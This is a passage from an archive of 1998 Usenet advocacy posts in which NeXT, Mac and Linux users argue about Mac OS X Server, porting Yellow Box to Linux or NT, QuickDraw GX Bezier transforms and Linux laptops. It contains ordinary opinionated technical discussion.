information, and evangelizing.
In the second place, a Linux port is trivial by comparison to NT ports.
I don't need to give you a litany of the differences between NT and
generic Unices, and both BSD and Linux are "generic Unices".
Finally, there is no indication whatsoever that Apple is suffering from
"limited resources" with regard to Mac OS X Server development.
According to Apple employees and NeXT advocates, Mac OS X Server is
complete, and has been complete for some time. I don't know how you can
turn around and say that there is a "limited resource" problem with
regard to development on this software.
> > Just a little bit of the NeXT wisdom acquired with the $400 million
> > purchase.
> >
>
> Indeed. It made sense for NeXT then (sadly), and it makes sense for Apple
> now.
Well, no. It didn't make sense for NeXT then, and it doesn't make sense
for Apple now. I don't know how to put this more eloquently.
> What would be a problem is if Apple picked up NeXT's tendency for not simply
> *ignoring* developers/whoever in non-target markets, but actively
> discouraging or obstructing them.
That is exactly what Apple has been doing.
MJP
From: "William Edward Woody" <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <3665d1d7$0$219@nntp1.ba.best.com> <B28B8E46-E60BB@206.165.43.131> <hOt92.25134$aF1.69922@typhoon-sf.snfc21.pbi.net> <36683A6B.9A8E24A6@ncal.verio.com> <nK1a2.638$I04.1828@typhoon-sf.snfc21.pbi.net> <us53e6vduly.fsf@kit.ai.mit.edu>
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Message-ID: <q5fa2.759$I04.11894@typhoon-sf.snfc21.pbi.net>
Date: Sat, 5 Dec 1998 10:36:09 -0800
NNTP-Posting-Date: Sat, 05 Dec 1998 10:39:18 PDT
Organization: SBC Internet Services
Stephen Peters wrote in message ...
>"William Edward Woody" <woody@alumni.caltech.edu> writes:
>
>> Transforming Bezier curves is a non-trivial thing to do, regardless
>> if you are doing this in 2D or 3D--the control points cannot simply
>> be translated through the transformation matrix in the same way.
>
>That's not quite accurate. One of the nicest properties of Bezier
>curves is that they *can* be transformed in exactly this way -- as
>long as the transformation itself is affine. Indeed, this may be one
>of the main reasons that PostScript limited the transforms to affine
>ones -- the curves are very simply generated under any such
>transformation; just transform the control points and go!
Ah, but there's the hitch: perspective transformations are not
affine. And that's what we're talking about here--or at least,
that's what I think we're talking about.
The bug with GX that we are discussing is that it does permit
non-affine transformations (the whole 3x3 matrix on a 2D object
is in general not affine), causing warping of the characters under
some circumstances.
- Bill Woody
The PandaWave
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sat, 05 Dec 1998 18:37:03 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74bugf$o2u$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <Macghod-0412981633430001@pool021-max8.ds28-ca-us.dialup.earthlink.net>
In article <Macghod-0412981633430001@pool021-max8.ds28-ca-
us.dialup.earthlink.net>,
Macghod@concentric.net (Steve) wrote:
> In article <746j19$996$1@nnrp1.dejanews.com>, "Charles Swiger"
> <chuck@codefab.com> wrote:
[ ... ]
>> Yes. The delay has largely been due to licensing/royalty issues and figuring
>> out when and how to market the product, and not because Apple didn't have the
>> technology to the point where they could ship it.
>
> Really? I know someone who got a fairly recent beta of macos x server
> (NOT rhapsody) and it still doesnt even have ppp support yet!
I guess some people do a better job of honoring NDA's than others do.
> Have they gotten ppp support on the mac side yet for it (a third party
> brought ppp to the intel side many months ago, but it didnt work on macs)?
I don't know-- I haven't bothered checking because that issue doesn't matter
to me. Most likely, even if my fellow employees have MOXS at home, they'll
also have something like a cheap 486 FreeBSD box doing VPN and the dialup
connection.
> Do they have drivers for the rage II and rage pro yet, as well any other
> drivers on officially supported machines?
Umm, wouldn't you expect ATI Rage drivers to exist since that's the graphic
chipset built onto the motherboards of the current Mac hardware? How could
MOXS run on Apple's PPC systems without them?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: ngroups@fizbin.com (Harry)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <ngroups-0512981112480001@192.168.100.102>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com>
Organization: Fizbin Consulting
Date: Sat, 05 Dec 1998 11:12:48 -0800
NNTP-Posting-Date: Sat, 05 Dec 1998 11:12:46 PDT
In article <74bru4$lsb$1@nnrp1.dejanews.com>, malcolm@plsys.co.uk wrote:
> What would be a problem is if Apple picked up NeXT's tendency for not simply
> *ignoring* developers/whoever in non-target markets, but actively
> discouraging or obstructing them.
Why, you mean they (Apple) haven't done so in the past, and in a limited
fashion, continue to do so now..?
Harry
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 6 Dec 1998 19:13:09 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <74el05$m73$2@cronkite.cs.umd.edu>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215> <366A057D.9C54A305@ncal.verio.com>
NNTP-Posting-Date: 6 Dec 1998 19:13:09 GMT
Mike Paquette (mpaque@ncal.verio.com) wrote:
> However...
> 3DKit was written by someone at NeXT, who just received a Technical
> Oscar last year for an older 3D product from Alias Research that's been
> heavily used by a number of studios. The author is currently one of my
> partners in crime on my current project... Wheee!
I should mention that this year's Technical Oscar is going to Craig
Reynolds (http://hmt.com/cwr/resume.html), an acquaintance of mine in the
evolutionary computation world. He's the guy who started the craze in
flocking and herding behaviors of massive numbers of "boids".
...Sean, whose still looking for that Oscar himself,
seanl@cs.umd.edu
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Lawson's Law
Date: 6 Dec 1998 19:07:31 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <74eklj$m73$1@cronkite.cs.umd.edu>
NNTP-Posting-Date: 6 Dec 1998 19:07:31 GMT
Godwin's Law states: "As a Usenet discussion grows longer, the probability
of a comparison involving Nazis or Hitler approaches one." Usenet
tradition holds that when one person calls someone else a nazi in a given
thread of discussion, that thread is automatically closed and the caller
loses the argument. Thus Godwin's Law guarantees an upper bound on thread
length.
I propose Lawson's Law and accompanying tradition, which goes like this:
Law: As comp.sys.next.advocacy threads grow longer,
the probability of QuickDraw GX being brought up
approaches one. And faster than someone calling
someone else a Nazi too.
Tradition: Whoever brings up QuickDraw GX automatically
closes the thread of discussion, and loses his
argument.
Thus we can establish more reasonable bounds on c.s.n.a thread length than
Godwin's Law allows.
Sean Luke
seanl@cs.umd.edu
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 14:21:56 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <74elgk$mp5$1@crib.corepower.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74e79s$gd1$1@nnrp1.dejanews.com> <74e7v2$m8b$1@crib.corepower.com> <74ecta$l32$1@samsara0.mindspring.com>
NNTP-Posting-Date: 6 Dec 1998 19:22:18 GMT
By the way, I gave a link (I think) earlier to the
MacOS X Server developer documentation (if not, it's at
http://developer.apple.com/techpubs/macosxserver/macosxserver.html); in
particular, you might want to look at "Application Design for Scripting,
Documents, and Undo", "Java Bridge", "Scripting", and "Services".
I hope the new document/undo/scripting stuff makes its way into GNUstep;
it would be fantastic under Linux if used extensively. I know lots of
Linux developers seem stuck on C++, but once features at this level
start appearing in GNUstep, along with the rest of OpenStep, I think
people will start to see the benefits.
I also forgot to mention how tight the Objective-Everything integration
is; not only can you message objects in one language from another, but
you can create an object in one language and subclass it in another, or
even implement different methods of the same class in different languages!
See http://www.tiptop.com/.
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Sun, 06 Dec 1998 20:28:36 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74epdj$und$1@nnrp1.dejanews.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com> <slrn76ef73.t57.mark@ns1.oaai.com> <7481fj$31u$1@camel18.mindspring.com> <749uf4$66l$1@nnrp1.dejanews.com> <74ajf6$i24$1@camel21.mindspring.com> <74bvsu$p40$1@nnrp1.dejanews.com> <74c5tu$80d$1@camel19.mindspring.com>
In article <74c5tu$80d$1@camel19.mindspring.com>,
"Mark Eaton" <markeaton@mindspring.com> wrote:
[ ... ]
>> First, all of those apps were written years before OPENSTEP (aka YB) existed.
>> Of course they didn't use YB on other platforms-- they would have had to be
>> updated (or ported, if you prefer) to OPENSTEP/YB in the first place.
>
> If you follow the references back you'll see that I was responding to an
> article that claimed
>
> "*This* is the kind of framework that brings
> "whole new classes of applications" to OSX".
>
> If that were true it wouldn't have been feasible at all to port them to
> other platforms without YB. What it all boils down to is that YB is a decent
> OO toolkit. It has some nice features, and some not so nice features, and a
> long history of advocacy. But OO toolkits exist on other platforms, most of
> which have a larger mindshare and installed base. What exactly will change
> in this equation when OSXS ships?
It'll mean I get to administer MOXS as a WOF 4 development platform instead of
Windows NT.
> What will tear developers away from pure Java?
You can write Java apps using the YB framework.
> What will tear developers away from Macintosh Common Lisp?
Fewer parenthesis to type, and you get to use square brackets for variety
sometimes?
> What will tear developers away from even lowly old MacApp or PowerPlant?
Probably nothing short of high explosives.
> What will get the Linux geeks to switch from GNOME or KDE to OSXServer?
Gainful employment.
> I won't even bother with traditional Windows developers.
YB runs on Windows, and Windows NT is currently the primary development
platform most people use for WOF nowadays.
>> Secondly, WTF _is_ this noise? You ask for groundbreaking apps and you get a
>> list. You don't disagree as to their value or importance, now you just claim
>> the development of these is "incidental"?
>
> Look, I'm merely expressing a concerned opinion (this is advocacy, after
> all). You seem to think that I'm anti-YB, but I'm not. I personally have
> mixed feelings on the subject. But just because I don't toe the gospel
> doesn't mean I'm 'noise'.
I didn't really form an opinion whether you were anti-YB or not-- that doesn't
really matter. What I found to be noise is the suggestion that NEXTSTEP was
incidental to the development of noteworthy software, 'cause that's not what
the authors of that software have said.
> If you'd rather not hear my heresies (on-topic heresies, at least) I'll shut
> up and let the GX flamage resume...
You'll do what you want, undoubtedly.
I suppose I could have tried for a more sophisticated answer to your question
about "what will change when MOXS ships?", but I don't have a sweeping
generalization to make. It'll affect me, my company, and our clients quite
noticably, and I'm very much in favor of anything that keeps the technologies
developed at NeXT around given the alternatives.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Terry Barton" <tb7@inquo.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: 6 Dec 98 00:38:19 -0500
Organization: inQuo Internet (801) 530-7160
Distribution: world
Message-ID: <3669CB9E.MD-0.198.tb7@inquo.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
> > >Whoops. I'm glad I got Linux running on my new Compaq Laptop then - the only
> > >thing left is buying a modem card and a printer - must be possible in the
> > >remaining 13 months ...
> >
> > I'm about to buy a laptop/notebook, and it has to be with Linux preinstalled,
> > since I don't want to risk spending weeks on studying PCMCIA drivers.
>
> I'm not really up on Linux, but I've heard Red Hat is much easier
> than previous flavors of Linux to install.
Joe: I installed RedHat 5 on a PC a while back and it really wasn't
much more difficult to install than Windows. However the prompts you
answer are a bit more critical than just clicking to continue. Anyway
I think anyone with a fair understanding of partitions and partition
software, swap files, ect. could do it easily enough. I don't know
about the Amiga version yet, I will be ordering it soon. But I
recomend you at least give a look at linux, It can multitask very
well too.
> Does anybody know, will Red Hat handle drivers automatically?
I found RedHat to be very intuitive about the drivers and had fewer
problems with them than I had on the same PC with Win 95. Anyway Joe
it sounds like you might be contemplating RedHat Linux. If you do try
to install it and run into any problems feel free to email me and if
its one I ran into I'll help and if not I have a good friend that is a
Linux Guru and I'll ask him and mail you back.
> > I heard that Compaq laptops are all "Linux compatible". Is that true?
> > Do they also offer preinstallation?
> >
> > In Munich, CompuPlus (www.compuplus.de) does offer that, but I don't know
> > for sure about anyone else.
From: "Jin Kim" <kwazyjin@hotmail.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net>
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <gRga2.199$4w2.1048603@news.itd.umich.edu>
Date: Sat, 5 Dec 1998 15:35:25 -0500
NNTP-Posting-Date: Sat, 05 Dec 1998 15:38:36 EDT
Michael J. Peck wrote in message <36697D5B.36286143@nstar.net>...
>malcolm@plsys.co.uk wrote:
>> It also allows Apple to deploy their own tools, such as WebObjects, on
NT,
>> thus expanding their market.
>
>That's exactly what I was saying about Linux. I don't see the
>distinction you're making.
There's is a distinction in that YB for NT already exists. YB for Linux
doesn't.
>The "limited resources" argument just doesn't have any evidence to back
>it up, none whatsoever. In the first place, it does nothing to excuse
>Apple's behavior toward developers who have been refused demos, betas,
>information, and evangelizing.
>
>In the second place, a Linux port is trivial by comparison to NT ports.
>I don't need to give you a litany of the differences between NT and
>generic Unices, and both BSD and Linux are "generic Unices".
>
>Finally, there is no indication whatsoever that Apple is suffering from
>"limited resources" with regard to Mac OS X Server development.
>According to Apple employees and NeXT advocates, Mac OS X Server is
>complete, and has been complete for some time. I don't know how you can
>turn around and say that there is a "limited resource" problem with
>regard to development on this software.
I agree that Apple needs to get rid of this "everything must be kept
secrete" attitude. However, it's not as bad as it seems. OS X Server
really hasn't changed much since DR2, and any significant changes are noted
at their developer site. But Apple does need to evangelize more I think.
On your second point. Again, YB for NT already exists. It came with NeXT.
Linux YB is non-existant. And as far as porting goes, it's my understanding
that YB for Mach is just that. It's for Mach, not for BSD.
Apple certainly has limited resources in comparison to other companies.
Remeber that Apple got rid of a significant number of developers during the
restructuring. And Mac OS X Server isn't complete (as in went GM) as rumors
suggests.
>> What would be a problem is if Apple picked up NeXT's tendency for not
simply
>> *ignoring* developers/whoever in non-target markets, but actively
>> discouraging or obstructing them.
>
>That is exactly what Apple has been doing.
Apple clearly had to focus on its key developers as it was about to lose
faith with them. And lets face it, they needed to focus on the key
developers just to survive. As far as non-key developers, I do wish that OS
X Server updates could have been available to them as regularly as non-key
developers. Just comparing alphas and betas they shipped to general
developers for OS 8.5 vs. OS X Server shows the disparity there. Frankly, I
don't get the sense that Apple has anyting new since DR2 that requires
secrecy from "competitors" as some people seem to suggests. Hopefully that
will change with OS X. But I tell you one thing that I also noticed. The
developers that complain about not having access to regularly updated OS X
Server code doesn't seem to have any specific product in mind and have not
even tried asking Apple if they would give them the updated code.
- Jin
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 5 Dec 1998 20:41:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74c5q1$q6f@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <3666ECA0.664BDFF6@ericsson.com> <747a7q$u1v$1@nnrp1.dejanews.com> <3667666A.A1310D9B@ericsson.com> <748vs3$rla@news1.panix.com> <3668064B.B73675F@ericsson.com>
On Fri, 04 Dec 1998 09:56:59 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
<<SNIP>>
> Apple
>may hold MkLinux to hedge its bets on a Linux port, or (more likely),
>just like everything else, Apple simply doesn't have the slightest idea
>what to do with it.
Perhaps a YB Linux port might make more sense after the new license free
runtime YB display server is written?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 5 Dec 1998 20:41:38 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74c5q2$q6f@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net>
On Sat, 05 Dec 1998 00:16:37 -0600,
Michael J. Peck <mjpeck@nstar.net> wrote:
>It's much more than that, obviously. Why would Apple spend the
>resources/money porting YB to Windows NT when Mach already works on x86?
1a) The NT server maket is much larger than any other x86 server market
1b) It might be larger than any other server market on any other platform
2) The _current_ OpenStep/WebObjects market is mostly NT
3) Selling NT software to enterprise developers is a lot easier than
selling a new OS.
If given a choice between YB on NT and Mach on x86, I think that they made
the right decision (OpenStep/x86 users would disagree, no doubt). If given
a choice between Mach on x86 and activly developing MacOS, I think that
they made a poor choice (MacOS users would no doubt object)
>It's exactly the same scenario, only a different market. And covering
>more markets is the whole point, a point Apple seems to have missed to a
>staggering extent.
"Shotgunning" isn't going to work for Apple. If you have massive surplus
resources, or little to no competition, or small entry costs, then
shotgunning might work. Fire off a few rounds then look where the buckshot
hit, ignoring where it missed. Apple needs to "sniper" those markets where
it has credibility while looking for complementary markets.
Compare the costs of selling WebObjects to everyone to the costs of selling
it to publishing and advertising, markets where Apple is a know quantity
with some credibility. Where do you go after you make inroads in publishing?
To complementary industries like mail order catalogs, shipping and
warehousing.
>It goes beyond far beyond Linux. Microsoft sells to whomever is
>interested in expanding its platforms.
And it has the resources to do this.
> Apple deliberately *ignores*
>developers who aren't within its "target markets".
It costs a lot less to sell _existing_ products to a new market than to
develop new products to sell to a new market. YB/Linux would be a new
product that would take away resources from other projects within Apple.
Apple is not at a point where it can work to push YB onto other platforms,
and IMnotsoHO, I don't expect it to be for at least a year after OSX ships.
From: Macghod@concentric.net (Steve)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Sat, 05 Dec 1998 11:55:36 -0800
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <Macghod-0412981633430001@pool021-max8.ds28-ca-us.dialup.earthlink.net> <74bugf$o2u$1@nnrp1.dejanews.com>
Organization: Concentric
Message-ID: <Macghod-0512981155370001@pool020-max2.ds28-ca-us.dialup.earthlink.net>
In article <74bugf$o2u$1@nnrp1.dejanews.com>, "Charles Swiger"
<chuck@codefab.com> wrote:
> > Do they have drivers for the rage II and rage pro yet, as well any other
> > drivers on officially supported machines?
>
> Umm, wouldn't you expect ATI Rage drivers to exist since that's the graphic
> chipset built onto the motherboards of the current Mac hardware? How could
> MOXS run on Apple's PPC systems without them?
Well, did rhapsody dr2 have rage drivers? I heard it was slow because it
didnt. And as far as working without drivers, if you take the ati drivers
out of the extensions on the macos, things still work, its just alot
slower
From: "Mark Eaton" <markeaton@mindspring.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Sat, 05 Dec 1998 12:43:39 -0800
Organization: MindSpring Enterprises
Message-ID: <74c5tu$80d$1@camel19.mindspring.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att.
net> <B28C13F2-3BD09@206.165.43.215> <746ta9$ic2$1@nnrp1.dejanews.com>
<slrn76ef73.t57.mark@ns1.oaai.com> <7481fj$31u$1@camel18.mindspring.com>
<749uf4$66l$1@nnrp1.dejanews.com> <74ajf6$i24$1@camel21.mindspring.com>
<74bvsu$p40$1@nnrp1.dejanews.com>
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In article <74bvsu$p40$1@nnrp1.dejanews.com> , "Charles Swiger"
<chuck@codefab.com> wrote:
>In article <74ajf6$i24$1@camel21.mindspring.com>,
> "Mark Eaton" <markeaton@mindspring.com> wrote:
>>> You mean like WorldWideWeb.app? Tailor.app? Mathematica.app? Improv.app?
>>
>> All of which went on to fame and fortune on other platforms. None used
>> OpenStep (nee YellowBox) on the other platforms - which to me means that
>> their initial development on OpenStep was incidental.
>
>First, all of those apps were written years before OPENSTEP (aka YB) existed.
>Of course they didn't use YB on other platforms-- they would have had to be
>updated (or ported, if you prefer) to OPENSTEP/YB in the first place.
If you follow the references back you'll see that I was responding to an
article that claimed
"*This* is the kind of framework that brings
"whole new classes of applications" to OSX".
If that were true it wouldn't have been feasible at all to port them to
other platforms without YB. What it all boils down to is that YB is a decent
OO toolkit. It has some nice features, and some not so nice features, and a
long history of advocacy. But OO toolkits exist on other platforms, most of
which have a larger mindshare and installed base. What exactly will change
in this equation when OSXS ships? What will tear developers away from pure
Java? What will tear developers away from Macintosh Common Lisp? What will
tear developers away from even lowly old MacApp or PowerPlant? What will get
the Linux geeks to switch from GNOME or KDE to OSXServer? I won't even
bother with traditional Windows developers.
>
>Secondly, WTF _is_ this noise? You ask for groundbreaking apps and you get a
>list. You don't disagree as to their value or importance, now you just claim
>the development of these is "incidental"?
>
Look, I'm merely expressing a concerned opinion (this is advocacy, after
all). You seem to think that I'm anti-YB, but I'm not. I personally have
mixed feelings on the subject. But just because I don't toe the gospel
doesn't mean I'm 'noise'.
If you'd rather not hear my heresies (on-topic heresies, at least) I'll shut
up and let the GX flamage resume...
-mark
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-84gnQtkEYlfr@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <746j19$996$1@nnrp1.dejanews.com> <3666ECA0.664BDFF6@ericsson.com> <747a7q$u1v$1@nnrp1.dejanews.com> <3667666A.A1310D9B@ericsson.com> <748vs3$rla@news1.panix.com>
MIME-Version: 1.0
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Date: 5 Dec 98 20:56:01 GMT
On Fri, 4 Dec 1998 15:41:55, sal@panix.com (Sal Denaro) thought aloud:
> On Thu, 03 Dec 1998 22:34:50 -0600,
> Michael Peck <michael.peck@ericsson.com> wrote:
> >What, exactly, is the problem with porting YB to MkLinux?
>
> Finite amount of resources.
PMJI, but maybe it's because YB for MkLinux is isn't really necessary
(IMHO), considering where MkLinux stands in the big picture. MkLinux a
small volume distribution, more or less destined to remain a small
slice of the PowerMac market and without the uptodate support of
ready-compiled apps that the top Linus' Linux distros have.
Apple doesn't need a semi-proprietary AAPLinux distro to ride on, they
need (PowerPC) to be high on Torvalds' priority list, and they need YB
to be compatible with the major multi-platform distros. Think OEM.
Apple should really consider finally moving the OS software to a
separate subsidiary that takes charge of Mac OS X and related
technologies, incl. YB. And why? Well, OEM's don't like bundling OSes
owned by competing hardware companies (think IBM and OS/2). I believe
Apple already figured this out and subsequently made Rhapsody/Intel a
limited-appeal dead-end product, probably shipping only because of
contractual obligations.
Linux, OTOH, is getting adopted by OEMs largely because of the joyous
independence it offers and I'll eat my socks if by the end of '99 most
of the important OEMs aren't offering it as a preload option. YB/QTML
for Linux could make it big in this space. MS is dictating OEMs what
is shown on the screen when their PCs boot etc. YB/Linux could let
OEMs _easily_ customize their systems the way they want. AppleSoft
would get small royalties but they'd add up considering there are
higher volumes involved. AppleSoft would also get YB for Linux upgrade
sales as new versions are released. And most importantly, AppleSoft
would give YellowBox a fighting chance in the API wars. Riding on
MS-Windows while owning the single-digit Macintosh franchise will not
be able to raise Apple out of the niche status alone. Until now Apple
has been the #2 platform and it has given Apple their unspoken right
to exist as "the alternative". The computing scene has never been kind
to #3's. Working _with_ Linux, and not as a competitor, Apple could be
claiming presence at both #2 (semi-open YB/Linux) and #3 (OS X /
PowerMac) spots so even if Linux wins, Apple won't have to lose.
To recycle the popular suggestion for Rhapsody's official name, I'd
call the YB/Linux bundle (or add-on) "Unity for Linux". :-) Throw in
a nice window manager that gives the native Linux apps Mac-like look &
feel to them, too. Licensing issues need to be sorted out in a manner
that is acceptable to the majority of Linux / Open Source community
but luckily there is a growing realization among these circles that
for Linux to become Viable In Perpetuity for the great masses there
will be commercial non-core solutions that may be managed by
companies. E.g. Linux community welcomes Java to the fold despite Sun
keeping some control of the API directions.
> Apple killed a number of products and projects in the past few years. They
> did so, not because projects and products weren't useful; but so they can
> narrow in on those things that are profitable.
>
> Apple hasn't killed MkLinux, perhaps they are keeping this idea on hold
> until such a time that they commit the proper resources to it.
Perhaps they should reconsider the need for MkLinux in the first
place. Supporting and even bundling e.g. Red Hat for PowerPC (and
investing in RH, asap) might be a better way to spend resources. Mach
development resources may be better spent on keeping Apple's
proprietary Mac OS X competitive.
Brgds,
--
taiQ
[this space is intentionally blank]
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 5 Dec 1998 20:54:47 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74c6in$qa4@news1.panix.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com> <F3AoEs.4oL@T-FCN.Net> <SCOTT.98Dec3001200@slave.doubleu.com> <F3ECEw.AzA@T-FCN.Net> <746o4g$dol$1@nnrp1.dejanews.com> <F3Erws.Izr@T-FCN.Net> <SCOTT.98Dec4145454@slave.doubleu.com> <1djjmg3.9nvrlx1jr28eaN@port212.bonn.ndh.net>
On Sat, 5 Dec 1998 09:51:13 +0100, Michael Schuerig <schuerig@acm.org> wrote:
>The current entry level of the developer program (well, the lowest
>interesting level) is $500. I take it, that members of that program will
>get access to Mac OS X Server. So, it looks to me that $500 has to be
>the upper limit for retail pricing.
IIRC, Apple has not promised that they would ship the final version of
Mac OS X Server to members of the developers program. They only price limits
Apple has ever stated was "more than MacOS, less than OpenStep"
This is like answering the question "how far away is Boston?" by answering "not
as close as the corner drug store, but not as far away as planet Jupiter"
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 5 Dec 1998 20:54:46 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <74c6im$qa4@news1.panix.com>
References: <748vs5$rla@news1.panix.com> <749jgu$i32@ns2.alink.net>
On 4 Dec 1998 21:17:18 GMT, Michael S. Barthelemy <msb@plexare.com> wrote:
>> I think Linux hype is going to turn into "OpenSource" hype and "the return
>> os Unix" hype in much the same way that the hype over Mosaic and Netscape
>> became hype over the Web in general. Considering the tone of recent articles
>> in Forbes, Time and other mainstream publications; I think this has already
>> started.
>It still does not mean that it is good. It's just another immature product (in
>GUI and driver support)
I'll go along with your statement that GUI support in Linux is still a bit
immature, I very much disagree with your assessment of Linux HW drivers. Support
is as good as it is for all other x86 OSs with the exception of Win95; and at
least as good as WinNT.
>(Any
>product where I have to compile my ethernet driver because the OS does not ship
>with it is immature -- sorry. What card? 3COM 3C905B-TX, definitely not
>unusual.)
So you think that any product that doesn't support all _your_ devices is
immature?
I guess NT is immature since it lacks support for plug and play, USB and
firewire.
>I also don't think we have seen the real Java backlash yet, but I am fairly
>certain we will. I hear about more and more failed Java projects every day.
>Interestingly it is about the same percentage as with C++ (Yes, using my
>unscientific polling methods.) thus Java is not the managers magical project
>failure cure. Since that is the case the collective group of project managers
>are due to go looking for a new solution in about two years.
There is no magical cure for bad management. Most of the Java failures I've
seen are situations where management first decided to use Java, and then went
looking for a problem to solve.
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Sun, 6 Dec 1998 13:24:53 -0800
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
